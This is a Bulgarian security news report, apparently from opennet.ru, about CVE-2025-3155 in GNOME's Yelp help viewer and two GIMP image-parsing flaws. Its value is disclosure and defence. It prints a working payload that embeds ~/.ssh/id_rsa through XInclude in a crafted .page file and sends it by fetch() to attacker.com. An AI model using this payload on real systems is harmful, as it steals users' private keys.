В прегледника Yelp, използван по подразбиране в GNOME за работа със справочни ръководства (GNOME Help), е открита уязвимост (CVE-2025-3155), която позволява изпълнение на произволен JavaScript код при отваряне на специално оформени page файлове. Изпълнението на подобни скриптове дава възможност за изпращане на файлове на потребителя към сървъра на атакуващия. Можете да проследите как се отстранява уязвимостта в дистрибуции на следните страници: Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, Arch, FreeBSD.
В GNOME, за да отворите файлове с ръководства, се регистрира URI «ghelp://», обработван чрез извикване на Yelp. За атака, злонамерен потребител трябва да накара системата на потребителя да зареди своя файл index.page. Например, може да подмами потребителя да зареди файла през браузъра, като кликне на линк на сайта на атакуващия. След като файлът е зареден, атакуващият може да инициира отварянето на документа, пренасочвайки браузъра от своята страница към URL «ghelp://» с пътя към директорията, в която е зареден файлът. Например, «ghelp:///proc/self/cwd/Downloads», където пътят «/proc/self/cwd» е свързан с работната директория на текущия процес (при стартиране на Yelp, това ще бъде домашната директория на потребителя).
Уязвимостта е причинена от това, че в page файловете се използва формат Mallard, основан на XML. В този формат има възможност за вмъкване на съдържание от други файлове в документа, използвайки механизма XInclude. За рендериране на page файловете програмата Yelp ги трансформира от XML в HTML с помощта на XSLT (yelp-xsl), след което ги показва, използвайки двигателя WebKitGtk. Идеята е да се постигне вмъкване на JavaScript в получения HTML файл и да се използва този JavaScript за изпращане на сървър съдържание, вмъкнато чрез XInclude.
За вмъкването на JavaScript е използвано това, че XSLT копира някои елементи в HTML без разграничаване, например, напълно пренася елемента и всичкото вложено съдържание. По този начин, за предаване на външен сървър За файла «~/ .ssh/id_rsa» е достатъчно да го добавите в page-документа с директивата «include»: <include parse="text" xmlns="http://www.w3.org/2001/XInclude" href="/proc/self/cwd/.ssh/id_rsa"/>
След това добавете чрез елемента <svg:script…> извикване на JavaScript с код за изпращане на POST-запитване към външен сървър, използвайки функцията fetch(): <svg:svg xmlns:svg="http://www.w3.org/2000/svg"> <svg:script>onload=_=>fetch("http://attacker.com/",{method:"POST",body:document.body.outerHTML,mode:"no-cors"})</svg:script> </svg:svg>
Също така могат да се отбележат две уязвимости (CVE-2025-2761, CVE-2025-2760) в графичния редактор GIMP, водещи до изпълнение на код от атакуващия при отваряне от потребителя на специално подготвени изображения в форматите XWD и FLI. Двете уязвимости са предизвикани от липсата на адекватна проверка на размера на данните, копирани в буфера по време на анализа на съдържанието на файловете. Уязвимостите са отстранени в версия GIMP 3.0.0.
Източник: opennet.ru
